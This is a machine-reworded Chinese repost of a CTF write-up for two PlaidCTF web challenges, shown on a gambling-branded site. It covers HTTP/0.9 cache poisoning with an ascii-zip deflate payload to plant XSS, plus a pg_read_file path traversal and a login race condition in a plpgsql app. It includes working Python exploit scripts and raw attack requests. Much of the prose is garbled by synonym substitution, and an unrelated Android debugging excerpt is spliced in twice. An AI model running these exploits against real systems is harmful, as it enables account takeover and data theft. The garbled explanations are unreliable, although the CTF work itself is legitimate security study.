plaidCTF两道web问题writeup | 申博官网
登录
  • 欢迎进入申博官网!
  • 如果您觉得申博官网对你有帮助,那么赶紧使用Ctrl+D 收藏申博官网并分享出去吧
  • 这里是申博官方网!
  • 申博官网是菲律宾sunbet官网品牌平台!
  • 申博开户专业品牌平台!

plaidCTF两道web问题writeup

申博_新闻事件 申博 132次浏览 未收录 0个评论

申博网络安全巴士站

申博-网络安全巴士站是一个专注于网络安全、系统安全、互联网安全、信息安全,全新视界的互联网安全新媒体。

————————————-

0x1 媒介

第一个web问题:

potent Quotables 

Web (300 pts)
I set up a little quotes server so that we can all share our favorite quotes with each other. I wrote it in Flask, but I decided that since it's mostly static content anyway, I should probably put some kind of caching layer in front of it, so I wrote a caching reverse proxy. It all seems to be working well, though I do get this weird error when starting up the server: 



* Environment: production

    WARNING: Do not use the development server in a production environment.

    Use a production WSGI server instead.


I'm sure that's not important. 


Oh, and don't bother trying to go to the /admin page, that's not for you.
No solvers yet


http://quotables.pwni.ng:1337/

第二个web问题:

I stared into the abyss of microservices, and it stared back. I found something utterly terrifying about the chaos of connections. 

"Screw this," I finally declared, "why have multiple services when the database can do everything just fine on its own?" 

And so on that glorious day it came to be that everything ran in plpgsql.


http://triggered.pwni.ng:52856/

本文章就是基于这个exp另有我们事先的做题的一些设法主意,来解说一下这两个问题中用到的学问。

0x2 Potent Quotables

问题功用简朴申明

http://quotables.pwni.ng:1337/

依据问题提醒,这是用flask写的web效劳,并且他直接运用的是 flask's built-in server,并没有运用flask的一些消费情况的布置计划。
问题的功用也对照简朴重要有以下功用:

1. 建立Quote
2. 检察Quote 
3. 给Quote投票
4. 发送一个链接给治理员,提议一个report
5. 检察提交给治理员的report,是不是被治理员处置惩罚

重要的API接口以下:

http://quotables.pwni.ng:1337/api/featured  # 检察统统的note,支撑GET和POST
http://quotables.pwni.ng:1337/api/quote/62a2d9ef-63d5-4cdf-83c7-f8b0aad8e18e  #检察一个note,支撑GET和POST
http://quotables.pwni.ng:1337/api/score/ba7a0334-2843-4f5e-b434-a85f06d790f1  # 检察一个note如今的票数,支撑GET和POST
http://quotables.pwni.ng:1337/api/report/66fa60f2-efee-4b7d-96ab-4c557fbee63a # 检察某个report如今的状况,支撑GET和POST
http://quotables.pwni.ng:1337/api/flag    # 猎取flag的api,只能治理员经由历程POST接见

功用性的页面有以下

http://quotables.pwni.ng:1337/quote#c996b56d-f6de-4ce1-8288-939ed2b381f3
http://quotables.pwni.ng:1337/report#9bd72d5e-4e6b-4c4e-985a-978fc30ff491
http://quotables.pwni.ng:1337/quotes/new
http://quotables.pwni.ng:1337/

建立的quote都是被html实体编码的,web层面上没有什么问题,然则问题还给供应了一个二进制,是一个具有缓存功用的署理,看一下重要功用。

发作缓存和掷中缓存的机遇

下面简朴看一下二进制局部的代码(不要问我如何逆的,满是队友的劳绩):

main函数内里,起首监听端口,然后进入while True的轮回,一向的从接收socket衔接,开启新的线程处置惩罚发来的要求
plaidCTF两道web问题writeup

plaidCTF两道web问题writeup

下面看处置惩罚要求的历程:
plaidCTF两道web问题writeup

起首猎取用户要求的第一行,然后用空格支解,离别存储要求范例,要求途径和HTTP的版本信息。

接下往来来往剖析要求头,每次读取一行,用 : 支解,parse 要求头。

while ( 1 )                                   // parse headers
  {
    while ( 1 )
    {
      n = get_oneline((__int64)reqbodycontentbuffer, &buf_0x2000, 8192uLL);
      if ( (n & 0x8000000000000000LL) != 0LL )
      {
        fwrite("IO Error: readline failed.  Exiting.\n", 1uLL, 0x25uLL, stderr);
        exit(2);
      }
      if ( n != 8191 )
        break;
      flag = 1;
    }
    if ( (signed __int64)n <= 2 )
      break;
    v37 = (const char *)malloc(0x2000uLL);
    if ( !v37 )
    {
      fwrite("Allocation Error: malloc failed.  Exiting.\n", 1uLL, 0x2BuLL, stderr);
      exit(2);
    }
    v38 = (const char *)malloc(0x2000uLL);
    if ( !v38 )
    {
      fwrite("Allocation Error: malloc failed.  Exiting.\n", 1uLL, 0x2BuLL, stderr);
      exit(2);
    }
    if ( (signed int)__isoc99_sscanf((__int64)&buf_0x2000, (__int64)"%[^: ]: %[^\r\n]", (__int64)v37, (__int64)v38, v2) <= 1 )
    {
      flag = 1;
      break;
    }
    move_content_destbuf((__int64)request_hchi_buffer, v37, v38);
  }

接下来推断要求是不是被cache了,若是被cache了,就直接从从cache中拿出相应复兴给客户端,搜检前提是

  1. 必需是 GET 要求
  2. 要求的途径是不是婚配婚配

plaidCTF两道web问题writeup

若是没有被cache,就修正要求头的局部字段,衔接效劳端,猎取相应。
plaidCTF两道web问题writeup

若是是 GET 要求,并且相应是 HTTP/1.0 200 OK 就cache这个相应

plaidCTF两道web问题writeup

关于二进制的我们就看这么多逻辑,至于存在的内存leak的破绽(非预期解就是应用内存leak来读取flag的),就交给有能力的二进制小伙伴剖析吧。

应用 http/0.9 举行缓存投毒

依据上面的剖析,我们晓得,若是我们是GET要求,并且此要求的返回状况是 HTTP/1.0 200 OK 此要求就会被缓存下来,下一次再运用雷同的途径接见的时刻,就会掷中cache。
然则猎取flag却必需是一个 post 要求,即使运用CSRF让治理员接见了flag接口,然则flag照样没有办法被cache的。
以是要想从web层面做这个问题,就必需找到xss破绽。然则我们的输入都被html实体编码了,并且网站也没有其余庞杂的功用了,好像统统好像陷入了僵局。

不外您是不是还记得前面我列出接口的时刻,背面特地写了这个接口支撑哪些要求体式格局? 以是那些支撑GET的接口的内容都是能够被cache的,个中http://quotables.pwni.ng:1337/api/quote/{id}这个接口的相应体的是我们能够最大水平掌握的(但不是完整掌握,由于有html实体编码)。 当我们运用GET体式格局接见一下这个接口以后,这个相应就会被cache。

➜  pCTF git:(master) ✗  http -v  http://quotables.pwni.ng:1337/api/quote/62a2d9ef-63d5-4cdf-83c7-f8b0aad8e18e
GET /api/quote/62a2d9ef-63d5-4cdf-83c7-f8b0aad8e18e HTTP/1.1
Accept: */*
Accept-Encoding: gzip, deflate
Connection: keep-alive
Host: quotables.pwni.ng:1337
User-Agent: HTTPie/0.9.9



HTTP/1.0 200 OK
Content-Length: 89
Content-Security-Policy: default-src 'none'; script-src 'nonce-tVMdKPgvSJPuHQl9FN4Ulw=='; style-src 'self'; img-src 'self'; connect-src 'self'
Content-Type: text/plain; charset=utf-8
Date: Mon, 15 Apr 2019 07:53:12 GMT
Server: Werkzeug/0.15.2 Python/3.6.7

Rendering very large 3D models is a difficult problem. It&#39;s all a big mesh.

这里我们也是仅仅能够局部掌握相应体,却没法掌握相应头,并且很症结的一点是相应头内里的Content-Typetext/plain,以是基础没办法应用。

然则请试想,若是我们也能够掌握相应头了,那我们能够进击的面一会儿就打开了。至于掌握相应头以后如何举行进击一会再讲,先考虑一下可否掌握相应头?

问题的exp中运用HTTP/0.9举行缓存投毒,这里真是长见识了。关于http/0.9的引见能够看这里https://www.w3.org/Protocols/HTTP/AsImplemented.html,很症结的一点是http/0.9没有要求体,相应头的观点。
能够看一下简朴的例子,我用flask’s built-in server起了一个web效劳:

➜  ~ nc  127.0.0.1 5000
GET / HTTP/0.9

Hello World!%

能够看到直接返回了ascii内容,没有相应优等庞杂的器械。

到这里我才终究邃晓,问题中的提醒是啥意思,为啥他要用flask's built-in server了,由于只要这玩意才支撑 http/0.9,

好比我们运用http/0.9接见apache,和nginx,发明都邑返回400

➜  ~ nc 127.0.0.1 80
GET / HTTP/0.9
HTTP/1.1 400 Bad Request
Date: Mon, 15 Apr 2019 08:22:06 GMT
Server: Apache/2.4.34 (Unix)
Content-Length: 226
Connection: close
Content-Type: text/html; charset=iso-8859-1

<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">
<html><head>
<title>400 Bad Request</title>
</head><body>
<h1>Bad Request</h1>
<p>Your browser sent a request that this server could not understand.<br />
</p>
</body></html>
➜  ~ nc 127.0.0.1 8081
GET / HTTP/0.9
HTTP/1.1 400 Bad Request
Server: nginx/1.15.3
Date: Mon, 15 Apr 2019 08:22:37 GMT
Content-Type: text/html
Content-Length: 173
Connection: close

<html>
<head><title>400 Bad Request</title></head>
<body bgcolor="white">
<center><h1>400 Bad Request</h1></center>
<hr><center>nginx/1.15.3</center>
</body>
</html>

我们能够应用 http/0.9 没有相应头的只要相应体的特性,去举行缓存投毒。然则相应被cache有一个前提,就是相应必需是 HTTP/1.0 200 OK 的,以是一般的 http/0.9 的相应是没有办法被cache的,不外绕过很简朴,我们不是能够掌握相应体吗? 在相应体内里捏造一个就好了。

捏造一个quote:

关于安卓的调试要领(二)

关于native层的调试-so 首先介绍一下什么是native层。接下来会介绍so层的patch,调试及基于so层简单的反调试和pass技巧。 native 一般指android的底层的,这个层的代码大部分由c/c++实现,具体的机制为JNI,齐为双向机制通过JNI,java代

headers = {
    'Origin': 'http://quotables.pwni.ng:1337',
    'Content-Type': 'application/x-www-form-urlencoded; charset=utf-8',
}


# just using ascii-zip
wow = 'D0Up0IZUnnnnnnnnnnnnnnnnnnnUU5nnnnnn3SUUnUUUwCiudIbEAtwwwEtswGpDttpDDwt3ww03sG333333swwG03333sDDdFPiOMwSgoZOwMYzcoogqffVAaFVvaFvQFVaAfgkuSmVvNnFsOzyifOMwSgoy4'

data = {
  'quote': 'HTTP/1.0 200 OK\r\nHTTP/1.0 302 OK\r\nContent-Encoding: deflate\r\nContent-Type: text/html;\r\nContent-Lexngth: {length}\r\n\r\n'.format(length=len(wow)) + wow,
  'attribution': ''
}

response = requests.post('http://quotables.pwni.ng:1337/quotes/new', headers=headers, data=data)
key = response.history[0].headers['Location'].split('quote#')[1]
print(key)

此时这个quote的内容以下:

➜  ~ http -v  http://quotables.pwni.ng:1337/api/quote/b4ed6ec7-ca25-47a8-bc9a-0af477e805ad
GET /api/quote/b4ed6ec7-ca25-47a8-bc9a-0af477e805ad HTTP/1.1
Accept: */*
Accept-Encoding: gzip, deflate
Connection: keep-alive
Host: quotables.pwni.ng:1337
User-Agent: HTTPie/0.9.9



HTTP/1.0 200 OK
Content-Length: 272
Content-Security-Policy: default-src 'none'; script-src 'nonce-N1Y7jw0BZ4o6qEL3UsNEJQ=='; style-src 'self'; img-src 'self'; connect-src 'self'
Content-Type: text/plain; charset=utf-8
Date: Mon, 15 Apr 2019 08:33:07 GMT
Server: Werkzeug/0.15.2 Python/3.6.7

HTTP/1.0 200 OK
HTTP/1.0 302 OK
Content-Encoding: deflate
Content-Type: text/html;
Content-Lexngth: 158

D0Up0IZUnnnnnnnnnnnnnnnnnnnUU5nnnnnn3SUUnUUUwCiudIbEAtwwwEtswGpDttpDDwt3ww03sG333333swwG03333sDDdFPiOMwSgoZOwMYzcoogqffVAaFVvaFvQFVaAfgkuSmVvNnFsOzyifOMwSgoy4
-

下面最先缓存投毒:

from pwn import *
# 
r = remote('quotables.pwni.ng', 1337)
r.sendline('''GET /api/quote/{target} HTTP/0.9
Connection: keep-alive
Host: quotables.pwni.ng:1337
Range: bytes=0-2
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:10.0.3) Gecko/20120305 Firefox/10.0.3
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3
Content-Transfer-Encoding: BASE64
Accept-Charset: iso-8859-15
Accept-Language: ko-KR,ko;q=0.9,en-US;q=0.8,en;q=0.7
Proxy-Connection: close

'''.replace('\n', '\r\n').format(target=key))

r.close()

举行缓存投毒以后,此quote的相应以下:

~ curl -v  http://quotables.pwni.ng:1337/api/quote/babead1b-05df-45a8-8c39-c04212b52bba
*   Trying 35.199.45.210...
* TCP_NODELAY set
* Connected to quotables.pwni.ng (35.199.45.210) port 1337 (#0)
> GET /api/quote/babead1b-05df-45a8-8c39-c04212b52bba HTTP/1.1
> Host: quotables.pwni.ng:1337
> User-Agent: curl/7.54.0
> Accept: */*
>
* HTTP 1.0, assume close after body
< HTTP/1.0 200 OK
< HTTP/1.0 302 OK
< Content-Encoding: deflate
< Content-Type: text/html;
< Content-Lexngth: 158
<
D0Up0IZUnnnnnnnnnnnnnnnnnnnUU5nnnnnn3SUUnUUUwCiudIbEAtwwwEtswGpDttpDDwt3ww03sG333333swwG03333sDDdFPiOMwSgoZOwMYzcoogqffVAaFVvaFvQFVaAfgkuSmVvNnFsOzyifOMwSgoy4
* Closing connection 0
- %

这里奇妙的应用了http/0.9和http/1.1的差别,运用 http/0.9写缓存,用http/1.1来读缓存。以是觉得平安的素质就是不一致性(瞎扯的,逃。。。。)

应用浏览器的解码能力

到这里我们虽然能够完整掌握相应头了,然则由于quote的内容悉数被html实体编码了,以是仅能够局部掌握相应体,致使依旧没有办法举行xss进击。很轻易想到若是我们能够把内容举行一次编码,然后浏览器在接见的时刻会举行自动解码,那末就高枕无忧了。很荣幸Content-Encoding就是来干这个事变的。https://developer.mozilla.org/zh-CN/docs/Web/HTTP/Headers/Content-Encoding

Content-Encoding 是一个实体音讯首部,用于对特定媒体范例的数据举行紧缩。当这个首部涌现的时刻,它的值透露表现音讯主体举行了何种体式格局的内容编码转换。这个音讯首部用来示知客户端应当如何解码能力猎取在 Content-Type 中标示的媒体范例内容。

比方以下:

from flask import Flask,make_response

import zlib

app = Flask(__name__) 
@app.route('/')  
def hello_world():  
    resp = make_response()
    resp.headers['Content-Encoding'] = 'deflate'
    resp.set_data(zlib.compress(b'<script>alert(1)</script>'))
    resp.headers['Content-Length'] = resp.content_length

    return resp
if __name__ == '__main__':
    app.run(debug=False)

用curl要求,看到的是乱码:

➜  ~ curl  -v 127.0.0.1:5000
* Rebuilt URL to: 127.0.0.1:5000/
*   Trying 127.0.0.1...
* TCP_NODELAY set
* Connected to 127.0.0.1 (127.0.0.1) port 5000 (#0)
> GET / HTTP/1.1
> Host: 127.0.0.1:5000
> User-Agent: curl/7.54.0
> Accept: */*
>
* HTTP 1.0, assume close after body
< HTTP/1.0 200 OK
< Content-Type: text/html; charset=utf-8
< Content-Encoding: deflate
< Content-Length: 28
< Server: Werkzeug/0.15.2 Python/3.7.0
< Date: Mon, 15 Apr 2019 10:51:26 GMT
<
x��)N.�,(�K�I-*�0Դч
* Closing connection 0
u�%

然则浏览器会举行解码,然后弹框。

plaidCTF两道web问题writeup

由于运用zlib紧缩以后,会酿成弗成见字符,这里exp运用了别的一种叫做 ascii-zip 的编码,也能够胜利被浏览器解码
详情请参考https://github.com/molnarg/ascii-zip

A deflate compressor that emits compressed data that is in the [A-Za-z0-9] ASCII byte range.

# just using ascii-zip
wow = 'D0Up0IZUnnnnnnnnnnnnnnnnnnnUU5nnnnnn3SUUnUUUwCiudIbEAtwwwEtswGpDttpDDwt3ww03sG333333swwG03333sDDdFPiOMwSgoZOwMYzcoogqffVAaFVvaFvQFVaAfgkuSmVvNnFsOzyifOMwSgoy4'

如许就能够捏造恣意相应了,exp给的payload被浏览器解码以后以下图所示:

plaidCTF两道web问题writeup

这就样就应用缓存组织了一个存在xss破绽的页面,把这个链接发给治理员,就能够随便xss了。

0x3 triggered

这是个代码审计问题,然则有毒的是问题统统的逻辑都是sql语句完成的,个中包孕 HTTP 要求包剖析,和营业逻辑处置惩罚,满是用触发器来顺次挪用的。为了让人人能够看到这个好玩的问题,我还把这个问题传到了github上,轻易人人进修 https://github.com/wonderkun/CTF_web/tree/master/web300-7

代码基础能够分为两局部,前800行,重要卖力http要求的剖析,背面800行重要卖力营业逻辑,来天生相应。

目次穿越破绽

在web.request 表上有如许的一个触发器用来处置惩罚静态资本

CREATE TRIGGER route_static
  BEFORE INSERT
  ON web.request
  FOR EACH ROW
  WHEN (substring(NEW.path, 1, 8) = '/static/')
  EXECUTE PROCEDURE web.handle_static();

跟一下 handle_static 的代码以下:

CREATE FUNCTION web.handle_static() RETURNS trigger AS $$
BEGIN
  PERFORM web.serve_static(NEW.uid, substring(NEW.path, 9));
  RETURN NEW;
END;
$$ LANGUAGE plpgsql;


CREATE FUNCTION web.serve_static(uid uuid, path text) RETURNS void AS $$
DECLARE
  dot_parts text[];
BEGIN
  SELECT
    regexp_split_to_array(path, '\.')
  INTO dot_parts;

  INSERT INTO web.response_header (
    request_uid,
    key,
    value
  )
  SELECT
    uid,
    'Content-Type',
    mime_type
  FROM
    web.mime_type
  WHERE
    extension = dot_parts[array_length(dot_parts, 1)];

  INSERT INTO web.response (
    request_uid,
    status,
    status_text,
    body
  ) VALUES (
    uid,
    200,
    'Ok',
    pg_read_file('triggered/static/' || path)
  );
END;
$$ LANGUAGE plpgsql;

这里直接运用了 pg_read_file('triggered/static/' || path), 明显能够恣意文件读取。

当地考证:

plaidCTF两道web问题writeup

然则不晓得为啥在效劳器端却不能胜利,一向返回 500,详细缘由还不太清晰。

session和cookie的治理

这个问题有个很让人疑心的处所就是他的登录流程,是分两步的,先输入用户名,天生cookie和session,然后再输入暗码,修正session为登录状况,直接看代码就邃晓了。

CREATE FUNCTION web.handle_post_login() RETURNS TRIGGER AS $$
DECLARE
  form_username text;
  session_uid uuid;
  form_user_uid uuid;
  context jsonb;
BEGIN
  SELECT
    web.get_form(NEW.uid, 'username')
  INTO form_username;

  SELECT
    web.get_cookie(NEW.uid, 'session')::uuid
  INTO session_uid;   -- 查询出来session id

  SELECT
    uid
  FROM
    web.user
  WHERE
    username = form_username
  INTO form_user_uid;   -- 查询出来用户id 

  IF form_user_uid IS NOT NULL
  THEN
    INSERT INTO web.session (
      uid,
      user_uid,
      logged_in
    ) VALUES (
      COALESCE(session_uid, uuid_generate_v4()),
      form_user_uid,
      FALSE
    )
    ON CONFLICT (uid)
      DO UPDATE
      SET
        user_uid = form_user_uid,
        logged_in = FALSE
    RETURNING uid
    INTO session_uid;

    PERFORM web.set_cookie(NEW.uid, 'session', session_uid::text);
    PERFORM web.respond_with_redirect(NEW.uid, '/login/password');
  ELSE
    PERFORM web.respond_with_redirect(NEW.uid, '/login');
  END IF;

  RETURN NEW;
END;
$$ LANGUAGE plpgsql;

---------- GET /login/password
CREATE FUNCTION web.handle_get_login_password() RETURNS TRIGGER AS $$
DECLARE
  session_uid uuid;
  logged_in boolean;
  username text;
  context jsonb;
BEGIN
  SELECT
    web.get_cookie(NEW.uid, 'session')::uuid
  INTO session_uid;

  IF session_uid IS NULL
  THEN
    PERFORM web.respond_with_redirect(NEW.uid, '/login');
    RETURN NEW;
  END IF;

  SELECT
    session.logged_in,
    usr.username
  FROM
    web.session session
      INNER JOIN web.user usr
        ON usr.uid = session.user_uid
  WHERE
    session.uid = session_uid
  INTO logged_in, username;

  IF logged_in
  THEN
    PERFORM web.respond_with_redirect(NEW.uid, '/login');
    RETURN NEW;
  END IF;

  SELECT
    web.get_base_context(NEW.uid)
      || jsonb_build_object('username', username)
  INTO context;

  PERFORM web.respond_with_template(NEW.uid, 'login-password.html', context);
  RETURN NEW;
END;
$$ LANGUAGE plpgsql;

CREATE FUNCTION web.handle_post_login_password() RETURNS TRIGGER AS $$
DECLARE
  form_password text;
  session_uid uuid;
  success boolean;
BEGIN
  SELECT
    web.get_cookie(NEW.uid, 'session')::uuid
  INTO session_uid;

  IF session_uid IS NULL
  THEN
    PERFORM web.respond_with_redirect(NEW.uid, '/login');
    RETURN NEW;
  END IF;

  SELECT
    web.get_form(NEW.uid, 'password')
  INTO form_password;

  IF form_password IS NULL
  THEN
    PERFORM web.respond_with_redirect(NEW.uid, '/login/password');
    RETURN NEW;
  END IF;

  SELECT EXISTS (
    SELECT
      *
    FROM
      web.user usr
        INNER JOIN web.session session
          ON usr.uid = session.user_uid
    WHERE
      session.uid = session_uid
        AND usr.password_hash = crypt(form_password, usr.password_hash)
  )
  INTO success;

  IF success
  THEN
    UPDATE web.session
    SET
      logged_in = TRUE
    WHERE
      uid = session_uid;

    PERFORM web.respond_with_redirect(NEW.uid, '/');
  ELSE
    PERFORM web.respond_with_redirect(NEW.uid, '/login/password');
  END IF;

  RETURN NEW;
END;
$$ LANGUAGE plpgsql;

总结一下,操纵以下:

  1. 猎取用户提交的用户名和存储在cookie表中的 session_uid
  2. 依据用户名,从 user表中查询出来 form_user_uid
  3. 然后将 session_uid 和 form_user_uid 和为False的登录状况写入到 session表中,若是session_uid为空(就是用户要求的时刻不带session),则为此用户从新天生一个。 若是 session_uid 在数据库中已存在,就修正这个 session_uid 对应的 user_uid 为以后登录的用户的id,登录状况设置为false 。
  4. 接下来设置 cookie , 并跳转到 /login/password
  5. 接下来是 post 到 /login/password 的处置惩罚流程,同样是猎取 session_uid和用户输入的password , 然后把 user表和session表以user_uid相称为前提做一个衔接,以 session_uid 和 password 为前提做一次查询。
  6. 若是查询到,就更新用户的session为登录状况

下面是考证是不是登录的代码以下:

CREATE FUNCTION web.is_logged_in(request_uid uuid) RETURNS boolean AS $$
DECLARE
  session_uid uuid;
  ret boolean;
BEGIN
  SELECT
    web.get_cookie(request_uid, 'session')::uuid
  INTO session_uid;

  IF session_uid IS NULL
  THEN
    RETURN FALSE;
  END IF;

  SELECT
    logged_in
  FROM
    web.session
  WHERE
    uid = session_uid
  INTO
    ret;

  RETURN COALESCE(ret, FALSE);
END;
$$ LANGUAGE plpgsql;

这个历程存在一个合作前提,若是用户A运用session_A并处于登录状况,此时用户B也运用session_A举行登录(仅输入用户名),这时候用户B就能够修正数据库中存储的session_A对应的user_id,并将A设置为未登录状况。 若是此时正好A用户在实行某个耗时的操纵,并且已实行过is_logged_in 函数的校验,那末接下来A用户的统统操纵都是B用户的身份实行的。

合作前提的应用

由于这个合作发作在is_logged_in函数实行以后,一次操纵完成之前,以是时候窗口照样对照小的,以是要找一个相对来说对照耗时的操纵。问题中有个搜刮操纵,代码以下:

CREATE FUNCTION web.handle_post_search() RETURNS TRIGGER AS $$
DECLARE
  user_uid uuid;
  session_uid uuid;
  query_string text;
  query tsquery;
  context jsonb;
BEGIN
  IF NOT web.is_logged_in(NEW.uid)
  THEN
    PERFORM web.respond_with_redirect(NEW.uid, '/login');
    RETURN NEW;
  END IF;

  SELECT
    web.get_form(NEW.uid, 'query')
  INTO query_string;

  IF query_string IS NULL OR trim(query_string) = ''
  THEN
    PERFORM web.respond_with_redirect(NEW.uid, '/search');
    RETURN NEW;
  END IF;

  BEGIN
    SELECT
      web.query_to_tsquery(query_string)
    INTO query;
  EXCEPTION WHEN OTHERS THEN
    PERFORM web.respond_with_redirect(NEW.uid, '/search');
    RETURN NEW;
  END;

  SELECT
    web.get_cookie(NEW.uid, 'session')::uuid
  INTO session_uid;

  SELECT
    session.user_uid
  FROM
    web.session session
  WHERE
    session.uid = session_uid
  INTO user_uid;

  SELECT
    web.get_base_context(NEW.uid)
  INTO context;

  WITH notes AS (
    SELECT
      jsonb_build_object(
        'author', usr.username,
        'title', note.title,
        'content', note.content,
        'date', to_char(note.date, 'HH:MIam on Month DD, YYYY')
      ) AS obj
    FROM
      web.note note
        INNER JOIN web.user usr
          ON note.author_uid = usr.uid
    WHERE
      usr.uid = user_uid
        AND note.search @@ query
  )
  SELECT
    context
      || jsonb_build_object(
        'search', query_string,
        'results', COALESCE(jsonb_agg(notes.obj), '[]'::jsonb)
      )
  FROM
    notes
  INTO context;

  PERFORM web.respond_with_template(NEW.uid, 'search.html', context);
  RETURN NEW;
END;
$$ LANGUAGE plpgsql;

依照适才的剖析,我们只需要发送一个很长的 query_string,使得web.query_to_tsquery(query_string)的实行时候很长,在这个函数实行时期,在用admin身份带上我们用户的session去要求登录,就能够修正掉我们用户的 user_id,接下里的操纵就是以治理员身份实行的了:

SELECT
    session.user_uid
  FROM
    web.session session
  WHERE
    session.uid = session_uid
  INTO user_uid;

  SELECT
    web.get_base_context(NEW.uid)
  INTO context;

  WITH notes AS (
    SELECT
      jsonb_build_object(
        'author', usr.username,
        'title', note.title,
        'content', note.content,
        'date', to_char(note.date, 'HH:MIam on Month DD, YYYY')
      ) AS obj
    FROM
      web.note note
        INNER JOIN web.user usr
          ON note.author_uid = usr.uid
    WHERE
      usr.uid = user_uid
        AND note.search @@ query
  )

组织恰当的查询语句,就能够查出flag。

末了的exp以下:

#!/usr/bin/python

import requests
import threading
import time

s = requests.session()

def login(username):

    url = "http://triggered.pwni.ng:52856/login"
    data = {"username":username}

    res = s.post(url,data=data)

    print("[*] login with username")
#     print(res.text)

def login_password(password):
    url = "http://triggered.pwni.ng:52856/login/password"
    data = {"password":password}

    res = s.post(url,data=data)
    print("[*] login with password")
#     print(res.text)

def query(condition):
    url = "http://triggered.pwni.ng:52856/search"
    data = {"query":condition}

    while True:
        res = s.post(url,data=data)
        print("[*] query a note ...")
        if "no result" not in res.text:
            print(res.text)
            break
        elif res.status_code != 200 :
            break

if __name__ == '__main__':

    login("test")
    login_password("123")

    t1 = threading.Thread(target=query,args=(" \"PCTF\" or "*10+ " \"PCTF\" " ,))
    t1.start()
    # time.sleep(3)
    t2 = threading.Thread(target=login,args=("admin",))
    t2.start()

关于安卓的调试要领(二)

关于native层的调试-so 首先介绍一下什么是native层。接下来会介绍so层的patch,调试及基于so层简单的反调试和pass技巧。 native 一般指android的底层的,这个层的代码大部分由c/c++实现,具体的机制为JNI,齐为双向机制通过JNI,java代


申博|网络安全巴士站声明:该文看法仅代表作者自己,与本平台无关。版权所有丨如未注明 , 均为原创丨本网站采用BY-NC-SA协议进行授权
转载请注明plaidCTF两道web问题writeup
喜欢 (0)
[]
分享 (0)
发表我的评论
取消评论
表情 贴图 加粗 删除线 居中 斜体 签到

Hi,您需要填写昵称和邮箱!

  • 昵称 (必填)
  • 邮箱 (必填)
  • 网址